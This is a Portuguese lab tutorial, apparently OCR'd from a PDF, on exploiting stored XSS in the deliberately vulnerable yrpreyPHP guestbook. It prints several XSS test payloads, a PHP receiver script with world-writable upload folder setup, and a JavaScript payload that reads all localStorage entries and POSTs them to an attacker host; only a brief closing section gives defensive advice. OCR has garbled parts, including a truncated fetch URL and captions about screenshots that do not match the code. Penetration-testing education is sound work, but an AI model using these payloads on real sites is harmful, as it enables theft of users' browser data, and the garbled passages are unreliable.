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INTRODUCAO

Esse artigo tem o intuito de criarmos as etapas para explorarmos
vulnerabilidades de XSSS (Cross Site Scripting) com o objetivo de capturar
o conteudo do Local Storage do usudrio e enviar para o servidor.

Para entendermos como funciona cada etapa, utilizaremos o framework
yrpreyPHP para demonstrar como funciona a vulnerabilidade e como pode
ser explorada para execucgao de script em JavaScript ou VBScript na
aplicagao web.

2.0 PRE-REQUISITOS

Recomendamos a criagdao de dois ambientes, um ambiente com um
servidor web disponivel ou acessivel por um usuario.

Apos criar o ambiente com Windows 8.1, podemos utilizar uma maquina
com a distribuicao Kali Linux (pode ser sua maquina):

e Download do Kali Linux:
https://www.kali.org/get-kali/#kali-installer-images/

e Download do Windows 8.1:
https://archive.org/details/win-8.1-single-lang-brazilian-
portuguese 202301

e Aplicacao web vulneravel - YpreyPHP
Pagina Oficial: https://yrprey.com
Link direto: https://github.com/yrprey/yrpreyPHP

Apos fazer download de cada ferramenta, apenas faca o simples processo
de instalacao e configuracao que sao necessarias para o funcionamento.


https://www.kali.org/get-kali/#kali-installer-images/
https://archive.org/details/win-8.1-single-lang-brazilian-portuguese_202301
https://archive.org/details/win-8.1-single-lang-brazilian-portuguese_202301
https://yrprey.com/

3.0 ACESSANDO O LABORATORIO

Vamos acessar o endereco http://localhost:8000/guestbook.php.

o YRPREY Tools Warriors Guestbook Login _
o
- Welcome to the guest book
Access Credentials (Require

3.0.1 Essa pagina de guestbook sera exibida para o usudrio deixar um comentario.

Para realizar o teste é obrigatdrio instalar uma distribuicao Kali Linux, se
desejar reproduzir o laboratdrio.

Vamos comecar a primeira etapa do processo de identificacdo e
exploracao da vulnerabilidade de Cross-Site Scripting - XSS.

4.0 TESTANDO E IDENTIFICANDO XSS

Agora, vamos comecar adicionando um comentario contendo um simples
JavaScript:

"><script>alert()</script>

Observe que sera solicitado o nome de usuadrio e a senha para poder
publicar o comentario.

O usuario é “user” e a senha “user”.



o YRPREY Tools Warriors Guestbook My Account Change Password Logout

o
- Welcome to the guest book

Access Credentials (Required)
user
> <script>alert()</script>

Figura 4.0.1: A imagem sera parecida com a acima, isto é, contendo as credenciais de usuario e o
comentario com o JavaScript. Apds preencher o formulario, conforme acima, submeta os dados.
Apds preencher o formuldrio para deixar sua mensagem maliciosa ou um
script em JavaScript um alerta devera aparecer na tela, conforme a
imagem abaixo.

localhost: diz

Se acessarmos a pagina novamente, visualizaremos o nome do usuario
gue fez a publicacdo e os caracteres “’>”, ndo sera possivel visualizar o
conteudo do JavaScript, mas ele esta presente na pagina e executando
COMm sucesso.

Acessamos a pagina para visualizar o conteudo:



o YRPREY Tools Warriors Guestbook My Account Change Password Logout _

. user % Remove

Access Credentials (Require

Um ponto muito importante a ser destacado é que o script em JavaScript
foi armazenado no banco de dados. Isso significa que, toda vez que a
aplicacao web acessar os registros e trouxer especificamente esse
registro, um alerta sera exibido na tela de qualquer usuario.

Ou sempre que um usuario acessar a pagina do guestbook, a aplicacao
buscara esse registro no banco de dados e o executara na pagina.
Consequentemente, o JavaScript serd executado, exibindo um alerta na
tela do usuario.

Essa técnica de exploragao é conhecida como XSS Armazenado (Stored
XSS), pois o conteudo em JavaScript, VBScript ou até mesmo tags HTML
ficaram armazenados no banco de dados e quando a aplicacdo acessar o
banco dedados em busca especificamente do registro com o JavaScript,
um alerta ou outro evento serd executado na pagina ou aplicacao web.

4.1 IDENTIFICACAO DE XSS - PLUS

Nessa secao mencionamos o termo “PLUS”, devido uma informacao
importante que precisa ser levado em conta.

O JavaScript que compartilhamos possui um carater simples e muitas
aplicacdes poderdo nao executar o alerta.



O fato da aplicagao nao executar o JavaScript que compartilhamos e emitir
um alerta, ndo significa que nao esteja vulneravel.

Significa que a aplicacdo nao aceita aquele tipo de JavaScript, ou alguma
camada de WAF (Web Application Firewall) que estd protegendo contra o
envio de scripts em JavaScript, VBScript ou tags HTML para serem
armazenados no banco de dados.

Outro problema sao as chamadas as regxs que possuem o poder de
sanitizar ou tratar scripts em JavaScript, impedindo o alerta de funcionar.

Outro problema é a utilizagcao de fungdes reservadas da linguagem ou até
mesmo tratamentos internos do préprio framework da linguagem contra
JavaScript que visam explorar vulnerabilidades de XSS.

N3ao pense que a aplicacdo esteja segura, pois a forma da construcado do
JavaScript revelara como o sistema web podera estar vulneravel a XSS.

Uma estratégia para tentar contornar o problema é testar outros tipos de
JavaScript contra a aplicagao, por exemplo:
<script\xeCtype="text/javascript">javascript:alert(1);</script>

<img src=1 href=1 onerror="javascript:alert(1)"></img>

<applet onError applet onError="javascript:javascript:alert(1)"></applet
onError>

<html onMouseDown html
onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>

<object onError object onError="javascript:javascript:alert(1)"></object
onError>

ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF

Acima temos alguns exemplos JavaScript que podem testados.

Mas fazendo uma busca na internet, existem varias listas que foram
construidas com o propdsito de testar em aplicagdes web e identificar
vulnerabilidades de XSS.



As vezes, a aplicacdo realmente n3o estd vulneravel a XSS, ou seja, quando
o software foi construido, os desenvolvedores implementaram as
adequacdes necessarias para construirem um software seguro, como
validacgdo, sanitizacdo, tratamento de requisicoes do tipo “text/plain” etc.

5.0 PREPARANDO A ARMADILHA

Nessa se¢ao vamos acessar o Kali Linux e iniciarmos o servidor web
Apache.

B emPoO- |1 23 4|pc o o0 a0 |ac
! root@kali: /home/kali
File Actions Edit View Help

/home/kali
apache2 start

/home/kali

Figura 5.0.1: Execute o comando servisse apache2 start.

Observe que inicializamos o servidor Apache.
Agora vamos acessar a pagina principal do servidor web Apache, digitando
no browser o endereco http://localhost.



http://localhost/

BmmEPo]- |1 23 3]|e B¢ oDH a0 a G

Apache2 Debian Default Pag: * +

< C @ QO DO localhost

KaliLinux #8 KaliTools ¢ KaliDocs N Kali Forums ¥ Kali NetHunter s Exploit-DB Google Hacking DB OffSec

(a Apache2 Debian Default Page

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Debian's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Debian tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:

: Jetr/anache2/

Figura 5.0.2: observe que a pagina inicial do servidor web Apache carregou com sucesso, ou seja, o

servidor esta funcionando.

Para continuarmos a construgao da nossa estratégia de ataque, vamos
acessar o servidor e criar um arquivo PHP para receber os dados do Local
Storage da vitima em nosso laboratério.

B EamP |1 23 2|c¢ : oD A 0s0|a e
(] root@kali: Jvar/www/html
File Actions Edit View Help

/home/kali
apache2 start

/home/kali
/var/wwu/html

/var/wwa/html

Figura 5.0.3 Para acessar o diretério do Apache e criar um arquivo php, digite cd /var/www/html.

Utilize seu editor de texto favorito, no meu caso, vou utilizar o nano.



File Actions Edit View Help

cd fvar/vaw/html

fvar/ww /html
ano localStorage. phpl]

Figura 5.0.4 Vamos criar o arquivo localStorage.php.

O arquivo localStorage.php estara no servidor do atacante e sera

responsavel por receber os dados do usuario que foram capturadas no
Local Storage do navegador.

Nosso arquivo localStorage.php tera o seguinte cédigo:

’Q|_-r,¢)[|~|123|?o I DI WY - I -

root @kali: /varfwwwihtml

localStorage.php *

ta, JSON_PRETTY_PRINT));
json_encode(["status" = " e" "Dados recebidos com sucesso"]);

json_encode(["status” = "error”, "message” "Erro ao processar JSON"1);

JE write Wil s C X e J@ Location U undo I set Mark To Brack
i Read File [ il Paste . fy W Go To Line [ Redo iRe Copy i Where Was

Figura 5.0.5 Esse é a estrutura do cédigo que receberd o conteuddo do Local Storage e armazenard no
servidor.

Para ficar mais facil para vocé criar o cédigo, segue abaixo a estrutura do
script para executar no seu laboratodrio:



<?php

header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: POST");
header("Access-Control-Allow-Headers: Content-Type");

if ($_SERVER["REQUEST METHOD"] === "POST") {

$jsonData = file_get contents("php://input");

$data = json_decode($jsonData, true);

if ($data !== null) {

file put_contents("uploads/storage_data.json", json_encode($data,
JSON_PRETTY_PRINT));

echo json_encode(["status" => "success", "message" => "Dados
recebidos com sucesso"]);
} else {

echo json_encode(["status" => "error", "message" => "Erro ao
processar JSON"]);

}
} else {

echo json encode(["status" => "error", "message" => "Método nado
permitido"]);

}

?>

O cddigo é simples de entender, utilizamos um header de CORS para
aceitar conexdes externas, depois verificamos se existe a tentativa de
enviar algum dado para o servidor.

Se a resposta é positiva, utilizamos a funcao file_get content do php para
gue possamos receber os dados.

Por fim, verificamos se o arquivo pode ser criado e adicionamos os dados
do Local Storage no formato json.

Para vocé criar o diretério de uploads, siga os seguintes passos:



File Actions Edit View Help

cd Swar/ ww /html

Svar /v /html
ano localStorage.php

/var/ v /html
nkdir uploads

Svar/ v /html

Figura 5.0.6 Crie o diretorio uploads com o comando “mkdir uploads”, que recebera os arquivos de
imagens que foram capturadas ao explorar o XSS.

B ERPoOE |1 > 3]C

File Actions Edit View Help

cd fvar/www/html

/var/veam /html
ano localStorage.php

Jvar/ v /html
nkdir uploads

/var/vwa /html
mod 777 uploads

Figura 5.0.7 Dé permissoes de escrita no diretério uploads com o comando “chmod 777", no laboratério
adicionei permissdo 777, ou seja, execugdo também.



File Actions Edit View Help

cd fvar/ww/html

Svar /v /html
ano localStorage.php

Jvar/ v /html
mkdir uploads

fvar /v /html
“hmod 777 uploads

Svar /v /html
i -data: ww-data uploads

Svar/vew /html

Figura 5.0.8 Certifique-se de que o diretdrio uploads pertence ao usuario e grupo do servidor web (por
exemplo, www-data no Ubuntu/Debian). Utilize o comando chown www-data:www-data uploads

O codigo é muito simples para demonstracdao da exploracao da
vulnerabilidade de XSS.

Vamos acessar o arquivo localStorage.php e verificar se existe algum erro:



€« C | ® atiacker.com/localStorage.php A @

{"status":"error”. "message”:"Mw00e%todo n'u00e30 permundo™}

Figura 5.0.9: Quando acessamos a pagina, observamos que recebemos a informagdo de “Método
Invdlido”, porque acessamos via método “GET” do navegador. Mas em resumo ndo existe nenhum erro
na pagina.

6.0 CAPTURA E ENVIO DO LOCAL STORAGE

Nessa se¢ao iremos acessar o guestbook e adicionar um script malicioso
gue sera responsavel por capturar os dados do usuario e depois envia-las
para armazenar no servidor.

o YRPREY Tools Warriors Guestbook My Account Change Password Logout —

©

Access Credentials (Required)

Figura 6.0.1 Na interface do guestbook, vamos adicionar nosso JavaScript que serd responsavel por
chamar a pagina localStorage.php e enviar imagens da tela do usuario.



Com a as credenciais do usuario privilégios comuns, adicione o seguinte
JavaScript no campo de comentdrio:

<script>
(function() {

let localStorageData = {};

for (let i = ©; i < localStorage.length; i++) {
let key = localStorage.key(i);
localStorageData[key] = localStorage.getItem(key);

let payload = JSON.stringify(localStorageData);

fetch("https:
method: "POST",
headers: {
"Content-Type": "application/json"
}J
body: payload
}).catch(error => console.error("Erro ao enviar dados:", error));

NOs

</script>

Os controles de envio dos dados do Local Storage serao capturados no
formato invisivel para o usuario, assim nao ter visibilidade e nao
descobrira que seus dados estdo sendo capturado e enviando para um
servidor externo.

Se o usuario carregar a pagina, enviamos os dados do Local Storage do
usuario através o método POST para ser armazenado no servidor.

A URL http://attacker.com sera o endereco do servidor Apache que vocé
iniciou, pode ser um endereco IP, por exemplo:
http://192.168.0.104/localStorage.php.

Apds adicionar o JavaScript forneca as credenciais “user” e senha “user”.

Finalmente, submeta o conteudo texto para o guestbook.


http://attacker.com/
http://192.168.0.104/screenshot.php

<« C @ localhost:8080/guestbook php o R~ .S e

o YRPREY Tools Warriors Guestbook Orders My Account Change Password Logout

. root
[

Access Credentials (Requirec

root

1
no:

</script> g

Figura 6.0.2 O resultado sera parecido com a tela acima.

Armadilha publicada com sucesso.

7.0 O LOCAL STORAGE DO USUARIO

A simulacao de captura os dados do Local Storage do usuario mediante o
acesso do usuario que visitara a pagina de guestbook e se houver
qualquer interacao através de clique, os dados serdo capturados e
enviados para o servidor.

Acesse o link “Guestbook”, o resultado sera parecido com o abaixo:



<« c

) YRPREY Tools Warriors Guestbook Login Search for warrior, too

i [0 Eements Console
@0 T Q
¥ Filter
| oms
Name

5] guestbook php

logo-letter.svg
9
bootstrap bundle.min.js

4 avatar,

scriptsjs
O localStorage.php

5 localStorage.php

284 kB transferred

8 requests

O Preserve log

Sources.

@ localhost:8080/guestbook.php

o]

¢ PiS

Remove

FetdyXHR | Doc || €55 || Js | Font

sams

Referrer Policy:

root
Network Performance ~ Memory ~ Application  Privacy and security  Lighthouse  Recorder
M Disablecache Nothrotding ~ T & &
O Invert Morefilters v All
30ms H0ms soms @ms Toms
X Headers Preview Response Initiator  Timing
¥ General
Re hitp://192.166.232.129/localStorage. php
Re OPTIONS
Status Code: @ 2000K
Remote A 19 32.129:80

strict-origin-when-cross-origin

337 kB resour

o =

Access-Control-Allow-Headers:

Access-Control-Allow-Methods:
Access-Control-Allow-Origin:

Connection:

Content-Type
POST

Keep-Alive

img || Media

Qms

183 @ i X
]

Manifest || WS || Wasm | Other

00 ms

Figura 7.0.1 A pagina localStorage.php estd pronta para tirar fotos da interface do usuario e enviar para

o servidor.

8.0 O RESULTADO DA CAPTURA DO LOCAL
STORAGE

Acesse o servidor para verificar os dados do Local Storage no servidor.
Para isso, acesse o diretério uploads.



Be@PoE-|1 2 3|e G

root@kali: fvarfwwwihtml/uploads

File Actions Edit View Help
/
e

\pache2 start

/
1 fvar/wm/html

fvar /v /html
mkdir uploads

/var /v /html
4 777 uploads

/var/ww/html
www-data:ww-data uploads

/var/ww/html
d uploads

/var/wmw/html/uploads

Figura 8.0.1 Digite o comando “cd uploads/” para acessar os dados do Local Storage que foram
enviados para o servidor no diretério uploads.



File Actions Edit View Help

cd Swar/ ww /html

Jvar/ww/html
ano localStorage.php

Jvar/ww/html
mkdir uploads

fvar /v /html
mod 777 uploads

fvar /v /html
wa-data: wwm-data uploads

fvar /v /html
uploads

fvar/www/html/uploads

fvar/www/html/uploads

Figura 8.0.2 Depois de acessar o diretério uploads, dé o comando “Is” para visualizar o arquivo que
possui o contetido dos dados do Local Storage, conforme a imagem acima.



S EmPOE- | 2 3]

File Edit View Go Bookmarks Help
> 1+ 4 fvar fwww/html/uploads/

Places

- root

Devices

. storage_data.json
_E File System '

Tfile: 2 bytes | Free space: 54.7 GiB

Figura 8.0.3 Acessando o diretério uploads, podemos verificar o conteldido do arquivo com os dados do
Local Storage da vitima.

Esse é um exemplo de exploracao de vulnerabilidade de XSS Armazenado.



9.0 APPLICATION SECURITY

Essa secao deixa claro as recomendacdes de seguranca para nao
armazenar dados confidenciais no Local Storage, pois atacantes poderao
capturar de forma indevida através de XSS e enviar para um servidor
remoto.

Sempre com o intuito de obter acesso a dados sensiveis ou que
comprometa a vitima em algum aspecto.

No contexto de recomendacgdes de Seguranca de Aplicagcdes precisamos
adotar algumas medidas de seguranca, a fim de proteger de futuros
ataques, como por exemplo:

1. No PHP utilize sanitizacdao dos dados de entrada:
a. Use fungdes como htmlspecialchars
b. str_replace() para remover caraceteres especial e encodes
2. Adote padronizacao de seguranca de header como:
a. Content Security Policy
b. FRAME OPTION DENY
3. Defina context type “text/plain” e ndo “text/html”.
4. Instalacao de dispositivos de rede, como IPs, WAF, Firewall etc
5. Instalacdo de sistemas a nivel de sistema operacional, visando a
integridade de protecao de sistemas operacionais.
6. Pentest regularmente ao sistema alvo
Analise de vulnerabilidade continuo.
8. Se estiver utilizando plugin ou pacotes, acompanhe as recentes
atualizagOes.

i

As informacgdes contidas nessa se¢ao, sao recomendac¢des padrdes, mas
uma analise e um estudo profundo do ambiente deve ser realizado para
melhores recomendagdes mais assertivas e precisas.
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